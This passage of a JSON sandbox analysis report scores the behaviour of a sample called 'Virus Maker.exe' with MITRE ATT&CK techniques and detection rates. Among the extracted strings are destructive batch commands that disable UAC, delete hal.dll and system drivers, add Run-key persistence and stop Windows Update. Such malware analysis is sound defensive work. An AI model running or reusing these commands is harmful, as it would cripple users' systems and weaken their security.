GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\"\" sleeping for \"1566804069\" milliseconds","origin":"API Call","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"2/67 reputation engines marked \"http://www.blackhost.xyz\" as malicious (2% detection rate)\n 2/68 reputation engines marked \"http://www.blackhost.xyz/prg/tmx/tm\" as malicious (2% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains indicators of bot communication commands","description":"\"@Set RegistyEditCmd=Cmd /k Reg Add@Set HiveSysKey=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System@%RegistyEditCmd% \"%HiveSysKey%\" /v \"EnableLUA\" /t \"REG_DWORD\" /d \"0\" /f > nul\" (Indicator: \"cmd=\")\n \"\\r\\n@Set RegistyEditCmd=Cmd /k Reg Add\\r\\n@Set HiveSysKey=HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\r\\n@%RegistyEditCmd% \\\"%HiveSysKey%\\\" /v \\\"EnableLUA\\\" /t \\\"REG_DWORD\\\" /d \\\"0\\\" /f > nul\" (Indicator: \"cmd=\")","origin":"File/Memory","mitre_attack_id":"T1094","relevance":10,"id":"string-29","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"Rectangle\" (Source: VirusMaker.exe.bin, API is part of module: GDI32.DLL)","origin":"File/Memory","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"15/67 Antivirus vendors marked sample as malicious (22% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"15/67 Antivirus vendors marked sample as malicious (22% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"malicious","category":"System Security","name":"References security related windows services","description":"\"\\r\\nnet stop \\\"wuauserv\\\"\" (Indicator: \"wuauserv\")","origin":"File/Memory","mitre_attack_id":"T1044","relevance":7,"id":"string-43","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"malicious","category":"Unusual Characteristics","name":"References suspicious system modules","description":"\"DEL /F /S /Q /A \"%systemdrive%\\windows\\system32\\hal.dll\"@((( Echo Off > Nul ) & Break Off )@Set HiveBSOD=HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run@Reg Add \"%HiveBSOD%\" /v \"BSOD\" /t \"REG_SZ\" /d %0 /f > Nul@Del /q /s /f \"%SystemRoot%\\Windows\\System32\\Drivers\\*.*\")\"","origin":"File/Memory","mitre_attack_id":"T1215","relevance":5,"id":"string-24","sources":[{"report_type":"sandbox","report_id":"5b50741e9ac508f90ba182fe"},{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"GDIPFONTCACHEV1.DAT\" has type \"empty \"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Sets the process error mode to suppress error box","description":"\"\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","relevance":8,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Heuristic match: \"lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet\"\n Heuristic match: \"fSystem.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aBj\"\n Heuristic match: \"QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":5,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content from resource","description":"Observed function \"ResourceManager.GetObject\" in \"Virus Maker.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-112","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory (Dotnet)","description":"Observed namespace \"System.Runtime.InteropServices.MarshalAsAttribute\" and TypeReference \".ctor\" in \"Virus Maker.exe\"\n Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"PtrToStructure\" in \"Virus Maker.exe\"\n Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"SizeOf\" in \"Virus Maker.exe\"\n Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"StructureToPtr\" in \"Virus Maker.exe\"\n Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"Copy\" in \"Virus Maker.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$28","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\DISPLAY1; Source: \"00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"Uses RsaCryptoServiceProvider to encrypt and decrypt\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp\")\n Found string \"description=\"Uses RsaCryptoServiceProvider to encrypt and decrypt\"\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"http://www.w3.org/2001/04/xmlenc# EncryptedKey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp\")\n Found string \"System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" (Indicator: \"encryptedkey\"; Source: \"00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains ability to perform encryption (API string)\n Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: Reads the cryptographic machine GUID","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"VirusMaker.exe\" called \"IsWow64Process\" with parameter \"7728\" - (UID: 00000000-00007728)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"VirusMaker.exe\" called \"GetWindowTextW\" with parameter \"Virus Maker\" - (UID: 00000000-00007728)\n \"VirusMaker.exe\" called \"GetWindowTextW\" (UID: 00000000-00007728)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"VirusMaker.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007728)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$29","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"VirusMaker.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00007728)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"VirusMaker.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"set b=\" (Indicator: \"set \"; File: \"Virus Maker.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"Found string \"\\r\\nnet user %username% *\\r\\n\" (Indicator: \"%username%\"; File: \"Virus Maker.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-557","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2b","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: \"BeginUpdateResource\"; File: \"Virus Maker.exe\")\n Found reference to API (Indicator: \"UpdateResource\"; File: \"Virus Maker.exe\")\n Found reference to API (Indicator: \"EndUpdateResource\"; File: \"Virus Maker.exe\")\n Found reference to API (Indicator: \"GetObject\"; File: \"Virus Maker.exe\")\n Found reference to API (Indicator: \"CompareString\"; File: \"Virus Maker.exe\")\n Found reference to API (Indicator: \"DeleteFile\"; File: \"Virus Maker.exe\")\n Found reference to API (Indicator: \"AddDllDirectory\"; Source: \"00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp\")\n Found reference to API (Indicator: \"DefWindowProcW\"; Source: \"00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Dotnet)","description":"Observed function \"Process.Start\" in \"Virus Maker.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\SM0:7728:168:WilStaging_02\"\n \"Local\\SM0:7728:64:WilError_03\"\n \"SM0:7728:64:WilError_03\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$2d","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"Virus Maker.exe\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"Observed unmanaged function \"BeginUpdateResource\" in \"Virus Maker.exe\"\n Observed unmanaged function \"UpdateResource\" in \"Virus Maker.exe\"\n Observed unmanaged function \"EndUpdateResource\" in \"Virus Maker.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"VirusMaker.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76340000\n \"VirusMaker.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 6F990000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"VirusMaker.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 731A0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"VirusMaker.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76F80000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Virus Maker.exe\" was detected as \".NET\" and name: \"Library\"\n \"Virus Maker.exe\" was detected as \"VB.NET\" and name: \"Compiler\"\n \"Virus Maker.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"Virus Maker.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"Virus Maker.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"Virus Maker.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"Virus Maker.exe\" has an writable section named \".sdata\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$2f","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x34ac00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x34aad4\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"},{"report_type":"sandbox","report_id":"6398de46c519e127df2a5efa"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"Virus Maker.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"VirusMaker.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$31","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"VirusMaker.exe\" queries basic process information of the \"C:\\VirusMaker.exe\" (UID: 7728)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$32","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"VirusMaker.exe\" reads file \"c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config\"\n \"VirusMaker.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\8d55d7cad944a3f21aeb1db491f3d6de\\mscorlib.ni.dll.aux\"\n \"VirusMaker.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\10e5a0803d11b8b826dbeb56a1f98239\\system.ni.dll.aux\"\n \"VirusMaker.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\e4e680611f69d26d704e61dd8bfa4ece\\system.configuration.ni.dll.aux\"\n \"VirusMaker.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\53fcc36b6b7c9cc86e5d7484c1f93bd8\\system.core.ni.dll.aux\"\n \"VirusMaker.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\638ba173c955ab83f37edbab9b896f44\\system.xml.ni.dll.aux\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"VirusMaker.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\mscoree.dll\"\n \"VirusMaker.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \"VirusMaker.exe\" trying to touch file \"C:\\VirusMaker.exe\"\n \"VirusMaker.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \"VirusMaker.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \"VirusMaker.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"VirusMaker.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"VirusMaker.exe\" trying to touch file \"C:\\Windows\\apppatch\\MergeSdbFilesSource\\sysMerge.sdb\"\n \"VirusMaker.exe\" trying to touch file \"C:\\Windows\\Temp\\VxSSL32.dll\"\n \"VirusMaker.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\fltLib.dll\"\n \"VirusMaker.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\rpcrt4.dll\"\n \"VirusMaker.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ws2_32.dll\"\n \"VirusMaker.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ucrtbase.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$33","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$34","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$35","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 46f5131e766d248db0248a86c494b71c\n Observed JA3 fingerprint: 091f51a7a1c3a4504a224cc081ce9cee\n Observed JA3 fingerprint: 6a5d235ee78c6aede6a61448b4e9ff1e\n Observed JA3 fingerprint: 65005c9d9ae0f0ebeaf22c210571d482\n Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"668a56cb5b5bc9eb560b1635"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"VirusMaker.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"16845400\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"VirusMaker.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"100731412\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"VirusMaker.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"16845556\"\n \"cx\": \"1\"\n \"cy\": \"1\"}","origin":"API 